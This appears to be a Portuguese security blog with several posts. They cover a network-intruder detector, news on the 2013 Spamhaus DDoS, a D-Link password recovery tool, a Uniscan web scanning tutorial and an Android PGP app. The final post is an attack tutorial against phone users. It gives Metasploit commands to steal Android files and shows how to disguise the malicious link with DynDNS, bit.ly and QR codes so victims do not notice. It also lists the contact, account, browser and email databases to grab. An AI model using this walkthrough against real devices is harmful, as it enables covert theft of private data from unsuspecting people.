

Como disse antes que alguém com habilidades é capaz de obter a senha de uma rede sem fio. Por essa razão, vou mostrar como podemos detectar intrusos em nossa própria rede sem fio.

Para fazer isso, vamos utilizar um aplicativo maravilhoso chamado Watcher Rede Wiresless


O que é Watcher Rede Wiresless?
Ele é um pequeno utilitário que varre sua rede sem fio e exibe a lista de todos os computadores e dispositivos conectados à rede.
Para cada computador ou dispositivo que se conecta à rede, exibir as seguintes informações:

  • Endereço IP
  • Endereço MAC
  • Empresa que fabricou a placa de rede
  • Opcionalmente, o nome do computador.

Você também pode exportar a lista de dispositivos conectados em HTML / XML / CSV / texto, ou copiar a lista para a área de transferência e cole em Excel ou um aplicativo de planilha.

O melhor de tudo, ele não requer instalação !

FOTO : 



Eu recomendo executar esta tarefa, muitas vezes, de modo que você pode evitar situações desconfortáveis.



quinta-feira, 28 de março de 2013

Entenda o ataque que quase derrubou a internet nesta semana


O ataque que quase paralisou a internet revelou uma nova tática dos criminosos. Em vez de atacar diretamente o alvo, eles miraram a infraestrutura da rede.

São Paulo — O maior ataque cibernético da história da internet parece ter dado uma trégua na tarde de quarta-feira, depois de deixar a rede lenta em muitos países. Mas especialistas alertam que agressões ainda mais intensas podem acontecer e paralisar partes da internet no mundo.

Esse ataque marcou a inauguração de uma nova tática. Em vez de mirar diretamente seu alvo, os criminosos alvejaram a infraestrutura da rede, o que aumentou muito a intensidade da agressão. O episódio fez acender o sinal amarelo para muitas empresas que operam serviços de datacenter e de telecomunicações. A dificuldade em combater esse tipo de agressão e identificar os responsáveis mostra que não é fácil evitar esse tipo de problema.

O ataque começou tendo como alvo uma empresa europeia de combate ao spam, a Spamhaus. Mas acabou se multiplicando e afetando até serviços populares, como a Netflix. Na Europa, ele causou lentidão no acesso à rede para milhões de usuários.

Não se sabe, com certeza, quem está por trás desses ataques. A Spamhaus mantém listas atualizadas de servidores que enviam spam. Essas listas são vendidas a produtores de software de segurança e a provedores da internet. São usadas pelos programas antispam para filtrar os e-mails. A empresa, é claro, é odiado pelos spammers. 

Nas últimas semanas, houve uma briga entre a Spamhaus e a companhia de serviços de datacenter holandesa CyberBunk, que acusa a Spamhaus de tê-la incluído indevidamente na lista de spammers. A Spamhaus, por sua vez, diz que a CyberBunk está por trás dos ataques, mas não há provas disso.

"Maior ciberataque da História" deixa internet lenta em todo o mundo




Briga entre grupo que luta contra o avanço do spam e empresa que abriga sites causou ataques que atingiram a estrutura central da rede

A internet ficou mais lenta ao redor do mundo nesta quarta-feira devido ao que especialistas em segurança chamaram de maior ciberataque da História. Uma briga entre um grupo que luta contra o avanço do spam e uma empresa que abriga sites deflagrou ataques cibernéticos que atingiram a estrutura central da rede.

O episódio teve impacto em serviços como o Netflix - e especialistas temem que possa causar problemas em bancos e serviços de e-mail. Cinco polícias nacionais de combate a crimes cibernéticos estão investigando os ataques.


O grupo Spamhaus, que tem bases em Londres e Genebra, é uma organização sem fins lucrativos que tenta ajudar provedores de email a filtrar spams e outros conteúdos indesejados. Para conseguir seu objetivo, o grupo mantém uma lista de endereços que devem ser bloqueados - uma base de dados de servidores conhecidos por serem usados para fins escusos na internet.

Recentemente, o Spamhaus bloqueou servidores mantidos pelo Cyberbunker, uma empresa holandesa que abriga sites de qualquer natureza, com qualquer conteúdo - à exceção de pornografia ou material relacionado a terrorismo.

Sven Olaf Kamphuis, que diz ser um porta-voz da Cyberbynker, disse em mensagem que o Spamhaus estava abusando de seu poder, e não deveria ser autorizado a decidir "o que acontece e o que nao acontece na internet".

O Spamhaus acusa a Cyberbunker de estar por trás dos ataques, em cooperação com "gangues criminosas" do Leste da Europa e da Rússia. A Cyberbunker não respondeu à BBC quando contactada de forma direta.

"Trabalho imenso"

Steve Linford, executivo-chefe do Spamhaus, disse à BBC que a escala do ataque não tem precedentes. "Estamos sofrendo este ciberataque por ao menos uma semana". "Mas estamos funcionando, não conseguiram nos derrubar. Nosso engenheiros estão fazendo um trabalho imenso em manter-nos de pe. Este tipo de ataque derruba praticamente qualquer coisa".

Linford disse à BBC que o ataque estava sendo investigado por cinco polícias cibernéticas no mundo, mas afirmou que não poderia dar mais detalhes, já que as polícias envolvidas temem se alvos de ataques também.

Os autores da ofensiva usaram uma tática conhecida como Ataque Distruibuído de Negação de Serviço (DDoS, na sigla em inglês), que inunda o alvo com enormes quantidades de tráfego, em uma tentativa de deixá-lo inacessível. Os servidores do Spamhaus foram escolhidos como alvo.

Linford disse ainda que o poder do ataque é grande o suficiente para derrubar uma estrutura de internet governamental.

Fonte : noticias.terra.com.br

quarta-feira, 27 de março de 2013

[DLink Password Decryptor] Ferramenta para recuperar a senha de login da D-Link modem/router




DLink Password Decryptor é uma ferramenta de desktop livre para recuperar instantaneamente a senha de login da D-Link modem / roteador.

Se você perdeu a senha de login de autenticação do seu modem D-link e você tem arquivo de configuração de backup , então você pode usar essa ferramenta para rapidamente voltar a sua senha.

Ele suporta modo dual de recuperação de senha. Você pode digitar a senha D-link criptografado diretamente ou especificar o arquivo Modem D-Link configuração de backup. No segundo caso, ele irá detectar automaticamente a senha de login do arquivo de configuração e decifrá-lo instantaneamente.


Note-se que é testado com número limitado de modems D-Link incluindo o mais recente modelo DSL-2750U. Por isso, pode ou não pode trabalhar com outros modelos.

Esta é uma ferramenta muito útil para todos os administradores de rede , bem como testadores de penetração.
É testado com sucesso em ambos 32 bits e sistemas de 64 bits do Windows a partir do Windows XP para o Windows 8.

IMAGENS

DLink Password Decryptor está mostrando a senha recuperado da Login Senha criptografada D-Link
DLink Password Decryptor está mostrando a senha recuperado da Login Senha criptografada D-Link



Mostrando senha recuperado do arquivo de configuração da D-Link de backup.

Licença: freeware 
Plataforma: Windows XP, 2003, Vista, Windows 7, Windows 8 

quarta-feira, 6 de março de 2013

Encontrando vulnerabilidade em aplicações web usando o BackTrack - UniScan


Olá pessoal, estaremos mostrando como fazer uma varredura em busca de vulnerabilidades em um site, ou todos os sites no servidor. Neste tutorial vou usar um programa no BackTrack chamado Uniscan. é muito fácil de usar, mas muito bom em scanner. Primeiro de tudo, abra seu terminal e digite o comando:

root@bt:~# cd /pentest/web/uniscan/
root@bt:/pentest/web/uniscan# ./uniscan.pl




Algo como isso vai ser mostrado no terminal. Agora tudo o que temos a fazer é seguir as instruções. Primeiro de tudo, precisamos de um alvo para scannear, eu escolhi um e já vou usá-lo. Para iniciar a verificação, primeiro você tem que verificar as opções que você deseja usar no seu exame. 

 Como usar as opções: 

Confira a letra ao lado de sua opção, e incluí-lo após a URL como esta: 

./uniscan.pl -u http://www.website.com/ -b -q -d -w

ou pode colocá-los todos juntos. 

./Uniscan.pl -u http://www.website.com/ -bqdw 


Isto irá iniciar a varredura com todas as opções disponibilizadas pelo uniscan. 
NOTA: - Nunca se esqueça da barra NO FINAL DO LINK ( http://www.website.com/ <==)

Agora, a varredura começará, e o terminal será algo parecido com isto: 




Esta varredura irá procurar vulnerabilidades como LFI / SQL-i / RFI e assim por diante. Ele também procura por Webshells, backdoors, divulgação Informações PHP, e-mails, e muito mais.

Aqui estão alguns exemplos:

PHP.info () divulgação:




Links Externos / hosts:


Divulgação Código Fonte:


Dinâmica de varredura, Identificação de vulnerabilidade: 



Este programa também pode obter todos os sites em um servidor, e então você vai ser capaz de digitalizar todos eles.

Para isso, execute o comando:

./Uniscan.pl -i "ip: 127.0.0.1"


Mude 127.0.0.1 para o servidor de destino. Todos os sites serão armazenados em "sites.txt" no mesmo diretório.

Agora, para verificar os sites na lista, execute este comando:

./uniscan.pl -f sites.txt -bqwd


Caso queira alterar algo no UniScan segue o link para download 


Até a próxima.



Projeto Uniscan - Scanner de Vulnerabilidade(WEB)

O Uniscan é um scanner de vulnerabilidade para aplicações Web, escrito em Perl para o ambiente Linux. Ele foi desenvolvido como trabalho de conclusão do curso de ciência da computação da Universidade Federal do Pampa e está licenciado sob a GNU General Public License 3.0 (GPL 3) .

Atualmente, a versão de Uniscan é de 6,2. Abaixo estão listadas as características de Uniscan.




Uniscan características:


  • Identificação de páginas do sistema através de um Web Crawler.
  • Uso de threads no rastreador.
  • Controlar o número máximo de solicitações do rastreador.
  • Controle da variação de páginas de sistema identificados por Web Crawler.
  • Controle de extensões de arquivos que são ignorados.
  • Teste de páginas encontradas através do método GET.
  • Teste as formas encontradas através do método POST.
  • Suporte para solicitações SSL (HTTPS).
  • Suporte a proxy.
  • Gerar lista de sites usando o Google.
  • Gerar lista de sites usando Bing.
  • Plug-in suporte para rastreador.
  • Plug-in suporte para testes dinâmicos.
  • Plug-in suporte para testes estáticos.
  • Plug-in suporte para testes de stress.
  • Suporte multi-língua.
  • Cliente web.
  • Cliente GUI escrito em perl usando tk.


domingo, 6 de janeiro de 2013

[Android Privacy Guard v1.0.8] OpenPGP para Android

Não há criptografia de chave pública para Android ainda, mas isso é uma característica importante para muitos de nós. Android Privacy Guard  gerencia chaves OpenPGP em seu telefone, use-os para criptografar, criptografar e descriptografar e-mails e arquivos.




Características -  v1.0.8

  • HKP - Apoio servidor de chaves
  • Suporte app2sd
  • Opções de frases mais passagem de cache: 1, 2, 4, 8 horas
  • bugfixes
Fique de olho nas atualizações.


quinta-feira, 8 de novembro de 2012

Hackeando e obtendo informações do SmartPhones com Android no Metasploit

Nesse arrigo estaremos abordando uma técnica de "hackear" os dispositivos moveis
hackear o androif
com o sistema operacional Android. Vamos utilizar a ferramente já conhecida por alguns, o Metasploit com um auxiliar de sua biblioteca  que pode ser encontrada no Sistema operacional BackTrack. Isso pode ser possível quando um dispositivo esta conectado em sua rede local, Mas usaremos  o DynDNS que nos da um alcance melhor do ataque, e veremos como ofuscar o endereço através de codigos QR e site que encurtam links como o bit.ly .

Vamos começar!

Roubar arquivos android_htmlfileprovider

A primeira coisa é começar o msfconsole no terminal do backtrack


  1. root@bt:~# /opt/framework3/msf3/msfconsole
Agora vamos usar um dos módulos auxiliares do Metasploit, que serve exatamente para  o nosso objetivo:
  1. msf > use gather/android_htmlfileprovider
  2. msf auxiliary(android_htmlfileprovider) >
Agora, vamos ver as opções que oferece o módulo...
  1. msf auxiliary(android_htmlfileprovider) > show options
  • FILES (arquivos do Android que queremos roubar) 
  • SRVHOST (IP local que estará a espera de conexões)
  • SRVPORT (A porta que estará a espera de conexões)
  • SSL (ALTERNATIVA - Se queremos usar SSL para negociação da conexão)
  • SSLVersion (Se tiver ativado a opção acima, indique a versão do  SSL )
  • URIPATH (A URI que será utilizada)
No momento , não vamos tocar na opção FILES. Já na opção SRVPORT mudará para 80, uma vez que é a porta http normal, e será mais suspeito se conectar-se a uma outra porta. Além disso URIPATH também vai mudar, que por padrão é uma seqüência aleatória, a vítima será direcionado para a raiz do servidor, faça com a baixo:

  1. msf auxiliary(android_htmlfileprovider) > set SRVPORT 80
  2. SRVPORT => 80
  3. msf auxiliary(android_htmlfileprovider) > set URIPATH /
  4. URIPATH => /
Agora só podemos começar a façanha usando o comando run, e esperar algum dispositivo conectar ao nosso IP ouvinte.

Veja a Imagem abaixo:

Exploit Executado - CLIQUE PARA AMPLIAR
Usando DynDNS para aumentar o alcance

Como dizemos, se fizermos esse ataque só para redes locais (LAN), como smartphones não costumam passar muito tempo conectado a uma rede Wi-Fi que estamos interessados. Mas é possível aumentar essa exploração, para fazer isso, neste caso vamos usar o DynDNS, que é um serviço que fornece o endereçamento dinâmico de domínio tipo site.dyndns *. Org .

Temos que ir no site da  http://dyn.com/ e criar uma conta. Após isso, pode registrar o domínio que escolhemos. Após este iria para as configurações do roteador e indicar o domínio, o nome de usuário e senha, como você pode ver (em outros roteadores pode ser diferente).

CLIQUE PARA AMPLIAR
Devo dizer que DynDNS é um serviço excelente. Depois de configurar o domínio DynDNS só precisa redirecionar corretamente no ip do roteador. Ou seja, no nosso caso, a vítima irá se conectar ao vidasconcurrentes.dyndns.org (na porta 80) e deve ser definida para ir para a porta IP em que ouvimos o exploit.

CLIQUE PARA AMPLIAR


Ofuscando o ataque com códigos QR e bit.ly

Temos tudo para o ataque,  teria que passar a url para as vítimas e esperar por ele para se conectar. O problema é que um estilo vidasconcurrentes.dyndns.org url pode ser bastante suspeito. Neste caso, use um encurtador de URL, usaremos o  bit.ly  ( pode se encontrar vários). 

Finalmente, se quisermos um ataque mais viral, podemos criar um código QR (http://qrcode.kaywa.com/) usando o link  que o encurtador de link do  bit.ly nos deu  , sendo ainda mais difícil de detectar.
O QR vai estar camuflado com o link do Bit, veja o EX :  http://bit.ly/q9wRCW , que redireciona para o domínio criado no DynDNS, o vidasconcurrentes.dyndns.org, que estará com o exploit a escuta.. Veja o Exemplo do QR.

CLIQUE PARA AMPLIAR

Tendo sucesso em sua invasão, basta usar a criatividade para explorar, alguns diretorios do android em especial estará listados a baixo:

Banco de Dados de Contatos

/data/data/com.android.providers.contacts/databases/contacts.db

Banco de Dados do Browser
/data/data/com.android.browser/databases/browser.db

Banco de Dados de Contas
/data/data/com.google.android.googleapps/databases/accounts.db

Banco de Dados de Geolocalização
/data/data/com.android.browser/gears/geolocation.db

Diretório de Banco de Dados do Telefone
/data/data/com.android.providers.telephony/databases/

Banco de Dados de historicos
/data/data/com.google.android.apps.maps/databases/search_history.db

Diretório de Banco de Dados de E-Mail
/data/data/com.google.android.providers.gmail/databases/


A maioria dos aplicativos tem um diretório de bancos de dados, pode-se obter o suficiente de  informação.